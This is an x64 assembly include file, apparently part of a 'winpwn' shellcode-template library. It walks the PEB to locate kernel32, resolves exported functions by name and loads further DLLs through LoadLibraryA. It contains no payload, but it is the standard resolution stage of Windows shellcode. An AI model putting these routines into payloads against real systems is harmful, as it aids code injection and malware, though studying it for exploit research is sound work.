166 lines
5.2 KiB
PHP
166 lines
5.2 KiB
PHP
; resolver.inc — shared x64 position-independent building blocks for winpwn
|
|
; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
|
; addresses) and resolve any export by name (no hashing, just a linear
|
|
; name-table scan — simple, auditable, and plenty fast for a handful of
|
|
; one-shot resolutions).
|
|
;
|
|
; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
|
; args in RCX/RDX, result in RAX. Both routines preserve every
|
|
; non-volatile register they touch, so callers can keep values live in
|
|
; r12-r15 across calls to either of these.
|
|
|
|
; get_kernel32_base() -> RAX = kernel32.dll base address
|
|
;
|
|
; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
|
; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
|
; fixed load order is the same trick essentially every public Windows x64
|
|
; shellcode relies on.
|
|
get_kernel32_base:
|
|
mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
|
mov rax, [rax+0x18] ; PEB->Ldr
|
|
mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
|
mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
|
mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
|
mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
|
ret
|
|
|
|
; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
|
; -> RAX = absolute address of the export, or 0 if not found.
|
|
;
|
|
; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
|
; entry against the target string, then follows AddressOfNameOrdinals and
|
|
; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
|
; DataDirectory[0] (export table) offset for PE32+.
|
|
find_export:
|
|
push r12
|
|
push r13
|
|
push r14
|
|
push r15
|
|
push rsi
|
|
push rdi
|
|
push rbx
|
|
|
|
mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
|
mov r13, rdx ; r13 = target name pointer (preserved)
|
|
|
|
mov eax, [r12+0x3C] ; e_lfanew
|
|
add rax, r12 ; rax = NT header VA
|
|
mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
|
add rax, r12
|
|
mov r14, rax ; r14 = export directory VA
|
|
|
|
mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
|
mov r9d, [r14+0x20] ; AddressOfNames RVA
|
|
add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
|
mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
|
add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
|
mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
|
add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
|
|
|
xor r15, r15 ; r15 = loop index i
|
|
|
|
.loop:
|
|
cmp r15, rbx
|
|
jge .notfound
|
|
|
|
mov eax, [r9 + r15*4] ; nameRVA for entry i
|
|
add rax, r12
|
|
mov rsi, rax ; rsi = candidate name VA
|
|
mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
|
|
|
.cmp_loop:
|
|
mov al, [rsi]
|
|
mov cl, [rdi]
|
|
cmp al, cl
|
|
jne .next
|
|
test al, al
|
|
je .found ; both hit NUL with every byte equal -> match
|
|
inc rsi
|
|
inc rdi
|
|
jmp .cmp_loop
|
|
|
|
.next:
|
|
inc r15
|
|
jmp .loop
|
|
|
|
.found:
|
|
movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
|
mov eax, [r11 + rax*4] ; function RVA
|
|
add rax, r12 ; absolute address
|
|
jmp .done
|
|
|
|
.notfound:
|
|
xor rax, rax
|
|
|
|
.done:
|
|
pop rbx
|
|
pop rdi
|
|
pop rsi
|
|
pop r15
|
|
pop r14
|
|
pop r13
|
|
pop r12
|
|
ret
|
|
|
|
; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
|
; -> RAX = absolute address of the export, or 0 on any failure.
|
|
;
|
|
; find_export alone only works if the target module is *already* loaded
|
|
; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
|
; in a plain console process. When RDX is 0 this is exactly find_export
|
|
; (the function is assumed already loaded at the module base in RCX).
|
|
; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
|
; (itself just another find_export call) and called to load-or-fetch the
|
|
; named module, then find_export resolves R8 inside *that* module's base.
|
|
resolve_export:
|
|
push r12 ; kernel32 base
|
|
push r13 ; dll name ptr (or 0)
|
|
push r14 ; func name ptr
|
|
push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
|
mov rbp, rsp
|
|
and rsp, ~0xF
|
|
|
|
mov r12, rcx
|
|
mov r13, rdx
|
|
mov r14, r8
|
|
|
|
test r13, r13
|
|
jnz .need_loadlibrary
|
|
|
|
mov rcx, r12
|
|
mov rdx, r14
|
|
call find_export
|
|
jmp .resolve_done
|
|
|
|
.need_loadlibrary:
|
|
mov rcx, r12
|
|
lea rdx, [rel name_loadlibrarya]
|
|
call find_export
|
|
test rax, rax
|
|
jz .resolve_fail
|
|
|
|
mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
|
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
|
call rax
|
|
add rsp, 0x20
|
|
test rax, rax
|
|
jz .resolve_fail
|
|
|
|
mov rcx, rax ; the newly (or already) loaded module's base
|
|
mov rdx, r14
|
|
call find_export
|
|
jmp .resolve_done
|
|
|
|
.resolve_fail:
|
|
xor rax, rax
|
|
|
|
.resolve_done:
|
|
mov rsp, rbp
|
|
pop rbp
|
|
pop r14
|
|
pop r13
|
|
pop r12
|
|
ret
|
|
|
|
name_loadlibrarya: db "LoadLibraryA", 0
|